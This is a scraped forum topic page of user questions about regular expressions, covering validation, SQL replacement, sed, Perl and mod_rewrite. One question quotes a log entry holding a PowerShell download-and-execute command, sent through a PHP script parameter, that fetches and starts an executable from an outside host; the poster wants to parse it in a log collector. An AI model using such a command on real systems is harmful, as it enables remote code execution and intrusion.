Regular Expressions

A regular expression ("regex") is a sequence of characters that define a search pattern, mainly for use in pattern matching with strings, or string matching, i.e. "find and replace"-like operations. Regular expression processors are found in several search engines, search and replace dialogs of several word processors and text editors, and in the command lines of text processing utilities, such as sed and AWK. Many programming languages provide regular expression capabilities, some built-in, for example Perl, JavaScript, Ruby, AWK, and Tcl, and others via a standard library, for example .NET languages, Java, Python and C++ (since C++11). Most other languages offer regular expressions via a library.

Share tech news, updates, or what's on your mind.

Sign up to Post

REGEX help please:

I'd like the following rules implemented as regex:

1) max chars in string : 7 - 8  - something like {7,8}
2) starting chars have to be  one of  the following (2,4,12)
3) upon typing 2345 I want the replacement be 2000345 , that is 7 chars starting with first char and ending with last 3 and zerofill in-between

Is that possible?
0
OWASP: Avoiding Hacker Tricks
LVL 13
OWASP: Avoiding Hacker Tricks

Learn to build secure applications from the mindset of the hacker and avoid being exploited.

I am trying to use Data Annotations and regex to validate an address field in a .net MVC application (to disallow the word 'suite' in any form).

I have the following definition in my annotations class:
 
    [MetadataType(typeof(LocationMetaData))]
    public partial class Location
    {

    }

    public class LocationMetaData
    {
        [RegularExpression(@"^(?:(?!\bsuite\b).)*$/ig", ErrorMessage = "Invalid Street1 format - Enter suite information in Street2")]
        public String street1 { get; set; }
    }

Open in new window


...which should only match when the string does not contain 'suite'.

I am getting the failed error message no matter what I enter in the field.

I have tried these variations on the Regex:
^((?!suite).)*$/ig
/^((?!suite).)*$/ig
/^((?!\b(\w*suite\w*)\b).)*$/ig

These all work in online regex testers, but fail in my app.

Does anyone have a working solution for this?

Thanks.
0
I have a bunch of html files in a directory
I need to locate a number of divs within these html files based on the div id
I don't know which html file contains a given div id

So rather then searching every file multiple times I thought about creating a regular expression for all wanted   div id open each file once then  do a patten match
Once I've located which file contains  a given div id  I can then pass the html string into a HtmlAgilityPack.HtmlDocument

My regEx isn't working  (Manuel search shows the fist div in the list is  in the first html file opened)
Pids.jpg
from the pic
The Regex PidsReg = {post_message_1234|post_message_5678| etc

Sample of code I nether get to match success

..........
                string[] folders = Directory.GetDirectories(RootDir, "*", SearchOption.TopDirectoryOnly);
                String Pids="";
                foreach (string folder in folders)
                {

                    FileInfo FI = new FileInfo(folder);
                    string DirectoryName = FI.Name;
                    Match DirNameMatch = DirNameReg.Match(DirectoryName);
                    if (DirectoryName.Contains(DirTextBox.Text) && DirNameMatch.Success)
                    {
                        string PID = "post_message_" + DirNameMatch.Groups[0];
                        Pids += PID + "|";
                    }
                }
                if (Pids != "")
                {
                    Pids = 

Open in new window

0
Regex is so nuanced sometimes. I need a bit of help creating a regular expression that will capture the contents of a function so the outer function can be replaced while preserving the entire contents of the function.

Perhaps a brief explanation of exactly what I'm trying to accomplish will help any prospective experts understand my needs a little better. I need to do this because I have to do a mass replace on a lot of files containing queries that were originally written for Oracle. I need to make them compatible with Microsoft SQL Server. The specific example here is the Oracle TRIM(...) function. Microsoft SQL Server doesn't have this function but would instead use LTRIM(RTRIM(...)). This actually also works fine in Oracle so it's a bit of a no brainer to replace TRIM(MyColumnName) with LTRIM(RTRIM(MyColumnName)). Unfortunately, sometimes the contents of the TRIM(...) function may contain other functions. For (bad) example, TRIM(Coalesce(Sum(InvoiceTotal), 0)). The simplest Regex Replace would be to look for "TRIM(" and then find the nearest ")" but that won't work in this case because I'll end up with LTRIM(RTRIM(Coalesce(Sum(InvoiceTotal)), 0)) which is wrong. What I need instead is LTRIM(RTRIM(Coalesce(Sum(InvoiceTotal), 0))). As you might be able to see, I need a balancing group to accomplish this and make sure I have the parentheses matched properly.

I've read up on balancing groups here: …
0
I need to modify alot of java files so that each method prints a logging message so hopefully sed will do the trick for me.

Here's an example of the file change.
public void someMethod(int x) {
     System.out.println("xx"); // Sed command should add this line to the java file for every method in the file

Open in new window

I tried using the following sed command to look for public as the starting pattern and the ending pattern of right paren, space, left bracket.
sed '/public/,/) {/a System.out.println("xx);' file.java

Open in new window

but this doesn't work.  It prints the logging statement mutliple times after below the public method call.

Any ideas what could be wrong?
0
I am struggeling a bit with Oracle and Regex. I want to use Oracle to split strings into pieces or to select certain pieces from a string, if you like.

E.g.

select regexp_substr('This;is;a;small;;test','¨[^;]+',1,1) from dual

Open in new window

works fine., 'This' is returned.
So does:
select regexp_substr('This;is;a;small;;test','¨[^;]+',1.4) from dual;

Open in new window

where 'small' is returned,
But putting in
select regexp_substr('This;is;a;small;;test','¨[^;]+',1,5) from dual;

Open in new window

returns 'test' and not NULL.

Piece 5 is empty, and still 'test' is returned.
Doing the same for piece 6 returns NULL. This immediately makes more sense due to the fact that there isn't a ';' after 'test', but you see my point, I would like to have returned
1   This
2   is
3   a
4   small
5   (NULL)
6   test

Open in new window

Is there an easy way to achieve this? After all it is very common that some pieces in a delimited string are empty.

Thanks!

Brgds
IVer in Oslo
0
I just need a regex to match exactly on "(TM)" and convert to "<TRADEM/>".  

 Combi2(TM)
  Test(tm)
   Tmike(Tm)

Expected Results:

Combi2<TRADEM/>
Test<TRADEM/>
 Tmike<TRADEM/>

Test
0
0
I have over 400 products that have some extra html code that needs to be removed.  I am wanting some help with a Maria db sql statement that will replace the content with a space or nothing at all.  The string that needs to be removed is as follows:

Indole - <p><span class="heading">Product Label</span> - <span style="color: #909;"><br />Place your mouse cursor over the image to zoom in to read the label.<br /></span></p> <p><br /><img src="/Resources/labels/1506.jpg" alt="Product Label" /></p>

Open in new window


The image # needs to be a variable.

I tried this code but it isn't working with a specific image # and without:

SELECT REPLACE('<p><span class="heading">Product Label</span> - <span style="color: #909;"><br />Place your mouse cursor over the image to zoom in to read the label.<br /></span></p> <p><br /><img src="/Resources/labels/1839.jpg" alt="Product Label" /></p>', '<p><span class="heading">Product Label</span> - <span style="color: #909;"><br />Place your mouse cursor over the image to zoom in to read the label.<br /></span></p> <p><br /><img src="/Resources/labels/1839.jpg" alt="Product Label" /></p>'," ")
FROM wp_posts2;

Open in new window


SELECT REPLACE('<p><span class="heading">Product Label</span> - <span style="color: #909;"><br />Place your mouse cursor over the image to zoom in to read the label.<br /></span></p> <p><br /><img src="/Resources/labels/1839.jpg" alt="Product Label" /></p>', '<p><span class="heading">Product Label</span> - <span style="color: #909;"><br />Place your mouse cursor over the image to zoom in to read the label.<br /></span></p> <p><br /><img src="/Resources/labels/%.jpg" alt="Product Label" /></p>'," ")
FROM wp_posts2;

Open in new window


Please tell me the best way to replace these strings using an sql statement.

Thanks,
0
I need a working example to extract an i address from a string using regular expressions.
Thanks
0
Become a CompTIA Certified Healthcare IT Tech
LVL 13
Become a CompTIA Certified Healthcare IT Tech

This course will help prep you to earn the CompTIA Healthcare IT Technician certification showing that you have the knowledge and skills needed to succeed in installing, managing, and troubleshooting IT systems in medical and clinical settings.

I need some help parsing an HTML table with PHP.

The table below is from the ESPN College Football final Standings page at http://www.espn.com/college-football/rankings
I want to get the team NAMES into an array so that I can loop over them. It appears that they are in the nodes that look like this:
<a data-clubhouse-uid="s:20~l:23~t:228" href="/college-football/team/_/id/228/clemson-tigers">
    Clemson
</a>

Open in new window


Here is a partial table:
<table cellpadding="0" cellspacing="0" class="Table2__table-scroller Table2__right-aligned Table2__table">
    <colgroup span="7" class="Table2__colgroup">
        <col class="Table2__col">
        <col class="Table2__col">
        <col class="Table2__col">
        <col class="Table2__col">
        <col class="Table2__col">
        <col class="Table2__col">
        <col class="Table2__col">
    </colgroup>
    <thead class="Table2__thead">
        <tr class="Table2__header-row Table2__tr Table2__even">
            <th title="" class="Table2__th">RK</th>
            <th title="" class="tl Table2__th">
                <div class="tl">
                    <!-- -->Team<!-- --> 
                </div>
            </th>
            <th title="" class="Table2__th">
                <div>
                    <!-- -->REC<!-- --> 
                </div>
            </th>
            <th title="" class="Table2__th">
                <div>
                    <!-- -->PTS<!-- --> 
                </div>
            </th>
    

Open in new window

0
Expertss,

I need some Regex help.  Based on the log file below

flowStatistics.clientAppURL=http://5.5.5.5/public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://example.com/example.exe','C:/12.exe');start%20C:/12.exe	flowStatistics.netbiosName=

Open in new window



I want to parse out all the text after flowStatistics.clientAppURL=  and before flowStatistics.netbiosName=.   Can someone help me with what the regex expression would look like so I can test it on my log collector?
0
I have an Excel userform that has two types of searches: one that searches all worksheets (‘Search_AllSheets)’, and one that searches only the active sheet  (‘Extract_Text)’. I created code for the ‘Extract_Text’ module that searches for whole word matches that seems to work pretty well, but I have been unable to adapt that (or any other code) to the ‘Search_AllSheets’ module, which loops through a set range in each worksheet in its search. I shut off the “match Whole Word” option on the userform if the single worksheet search macro is chosen, pending resolution. I am attaching two files:

Extract Rows by Text (Original) – contains the two modules indicated above but the ‘Search_AllSheets’ needs the whole word match logic to function properly
Extract Rows by Text (Whole Word) – contains the same modules but also uses code I wrote to match whole word in a search in the ‘Extract_Text’ module but which I am unable to adapt to work in the ‘Search_AllSheets’ module.

I found regex code that works very well but I am also unable to incorporate it into the ‘Search_AllSheets’ module (the comments are mine):
Sub Test_Whole_Word_Match2()
'from https://forums.techguy.org/threads/solved-find-exact-whole-word-in-a-string.1021245
Dim I As Long, m As Boolean
Dim rcell As Excel.Range 'added Feb 26 2019

Searchtext = "testrnotice"

    For I = 1 To 5 '5 represents the number of rows to check.
   ' Set rcell = Range("D" & I) 'added Feb 26 2019 to see if I can set the found range to 

Open in new window

0
Hi

I wonder if someone can give me a clue how to fix this

The RegEx is failing because there is a ")" in the string I'm trying to clean it's causing an exception error

"Run-time exception (line 26): parsing "https://Unwanted.com/this/url/file...123).zip" - Too many )'s."

Manually Remove the ")" from the string and all is good

I tested the regEx at regex101 it works

To be clear I only want the first line
so ModName should = "I want all this Line (here)"

		Regex RegHTTP = new Regex(@"(https.*)$");
		  string pattern = @"(https.*\)?.*)$";
		Console.WriteLine("Hello World");
		string ModName = @"I want all this Line (here)
		
		https://Unwanted.com/this/url/file...123).zip";
		
        RegexOptions options = RegexOptions.Multiline | RegexOptions.IgnoreCase;
        
        foreach (Match m in Regex.Matches(ModName, pattern, options))
        {
            Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index);
			ModName = Regex.Replace(ModName, m.Value, "");
        }
		ModName = ModName.Trim();// .Replace("\n", string.Empty);

		Console.WriteLine("ModName: [{0}]", ModName);
	}

Open in new window

0
Regex string assistance

Experts,

I need a regex that will match the following set of strings:


From:Richard Test
From:Richard A Test
From:Richard A. Test
From:Richard-Test
From:Richard Alvan Test

Thanks in advance
1
Experts, I need assistance with a regex string.

Matches I need are as follows:

1st Example String:
c:\folder1\(randomfilename.txt)
Match1 = c:\
match2 = Folder1
match3 = randomfilename.txt

2nd Example String:
c:\folder1\folder2\randomfilename.txt
match1 = c:\
match2 = folder1
match3 = folder2
match4 = randomfilename.txt

.....

This could include up to folder 12 following the same pattern..


One item to note : the folders could contain non alphanumeric chars however I still want to capture everything to a match between each

 \…\ and save to a match.
0
Hi Experts,

I am working a long time on a VBA function that will constantly be reading (txt data) files in a loop and transfer data to a web hosted software using API calls.

Would like to know if you can spot any serious bugs before releasing it.

Attaching the full code.

Thanks in Advance.
1.txt
0
I would like to do a function in SQL that uses a regex string to validate email addresses and which also is not going to bog things down.
0
Hello,

I need help writing a RegEx for my alerting system (PagerDuty).  It essentially works when it is forwarded emails from our network monitoring equipment.  I am trying to setup a rule so that alerts get tagged and closed correctly.  The rules look at the subject of a message which will look like the following:

switch.core: minor service affecting Alarm for DEVICE "119" at 2019/01/04 11:45:25.27: "DEVICE went missing"

In that subject, I would be looking to open the alert if "minor service affecting" and "DEVICE went missing" was matched in the subject.  I have this working by using the expression:

/(minor service affecting|DEVICE went missing)/ms

Next a second email might come through which would be the resolution of this problem and would have a subject which looks like the following:

switch.core: clear service affecting Alarm for DEVICE "119" at 2019/01/04 11:45:25.27: "DEVICE went missing"

In this rule I have the ability to match emails based on a regular expression.  It would need to match with the initial email and shares 3 keys as follows:

"switch.core", "119", and "DEVICE went missing".  How would I write a regular expression that would pull those 3 fields out?  The 3 fields would always be in the same order in both subjects and the subject format would always be the same.  So I guess I need a RegEx that would extract a match searching for those 3 items that would work against both subjects.  I should note that the values I have used may …
0
Why Diversity in Tech Matters
LVL 13
Why Diversity in Tech Matters

Kesha Williams, certified professional and software developer, explores the imbalance of diversity in the world of technology -- especially when it comes to hiring women. She showcases ways she's making a difference through the Colors of STEM program.

what is the perl regular expresssion to compare "machinename\\username" in perl scripts?

sample code:
print "Hello World!\n";
$mname="BVM";
$user = "test";
$mu_reg = "^(?i)$mname/\/\$user \$";
$mu_str = "164AUTH/\/\chris";



$ipstr="$mu_str ";
$ipstr_re = "^(?i)mu_reg \$"; # regex failed with two backslashes. How to fix it?
if ($ipstr !~ /$ipstr_re/) {
    print "It doesn't match\n";
}
else {
    print "It matches\n";
}
0
I have an input field that requires a user to enter time in a decimal form of hours + minutes. I need an html validation regex that will force a user to only enter the decimal 0 or 5. For example, user can enter the following valid numbers: (10.0; 10.5; 11.0; 3.5; 2.0) and so on. Invalid numbers:( 10.1; 10.2; 10.4; 3.2; 4.4;7.7). I just need to ensure user enters .0 or .5 decimal  no greater than 99.5, and great than 0.
1
I need help with regx expression below.  Currently it will only find numeric decimal values but I need both a integer check and numeric decimal check.  

.*?([\-\+]?(\d+\.\d+KW|\d+|\.\d+))\D*

For example:

Input Data                                                            Result
Dual Rated - 240V/3.5KW & 208V/2.5KW    = 3.5KW   --> this works now.
Dual Rated - 240V/5KW & 208V                    = 5KW      --> Expression above does not detect integer values.
5KW                                                                   = 5KW      --> Expression above does not detect integer values.
5.6KW                                                                = 5,6KW
0.0                                                                      = [null]
5                                                                          = [null]
0
A configuration file that has lines as below:

<abcde=12 bcde=20 xyz=30 match=pattern1>

Open in new window


there are several such lines; some with "match=pattern1", as above. There are other lines where they could be "match=pattern2", "match=pattern3" and so on.

I would like to modify lines that have "pattern1" ONLY. Again, there's more than one line that has "pattern1".

I would like to change bcde=99 and xyz=99 where pattern1 is present.

How can this be done?
0
I need some mod rewrite help with a regex.  This is an example url - https://www.thefrugallife.com/12all/lt.php?c=1728&m=2981&nl=1&s=c9b91a7ca200a96e668e515ecf49b34c&lid=19221&l=-http--www.theherbsplace.com/Shop_A_Z_page_1_c_28.html

I am trying to get it to redirect to the url after the last equals sign - http--www.theherbsplace.com/Shop_A_Z_page_1_c_28.html

I have 2,000 links like this all with a different url after the last equals sign.

Here is my code

RewriteCond %{REQUEST_URI} /?12all/lt\.php$
RewriteCond %{QUERY_STRING} c=(.*)$ [NC]
RewriteCond %{QUERY_STRING} m=(.*)$ [NC]
RewriteCond %{QUERY_STRING} nl=(.*)$ [NC]
RewriteCond %{QUERY_STRING} s=(.*)$ [NC]
RewriteCond %{QUERY_STRING} lid=(.*)$ [NC]
RewriteCond %{QUERY_STRING} l=-http--(.*)$ [NC]
RewriteRule ^.*$ https://%6/? [NC,L,R=301]

Open in new window


Please tell me what I am doing wrong so I can get this cleaned up for Google.

Thanks,
0
HI.

I am using Microsoft Access VBA in a Windows 10 machine.
I am trying to extract data from a multi-line string copied from a web page whose format is always the same.

By example , one of the lines in the web page would be

Circuit Name:           <data item 1>            Issued by:
Customer Name      <data item 2>            Attn

I would like the regex pattern that would give me the  <data item 1>   ..   Also,  <data Item 2>

Thank you.
1

Regular Expressions

A regular expression ("regex") is a sequence of characters that define a search pattern, mainly for use in pattern matching with strings, or string matching, i.e. "find and replace"-like operations. Regular expression processors are found in several search engines, search and replace dialogs of several word processors and text editors, and in the command lines of text processing utilities, such as sed and AWK. Many programming languages provide regular expression capabilities, some built-in, for example Perl, JavaScript, Ruby, AWK, and Tcl, and others via a standard library, for example .NET languages, Java, Python and C++ (since C++11). Most other languages offer regular expressions via a library.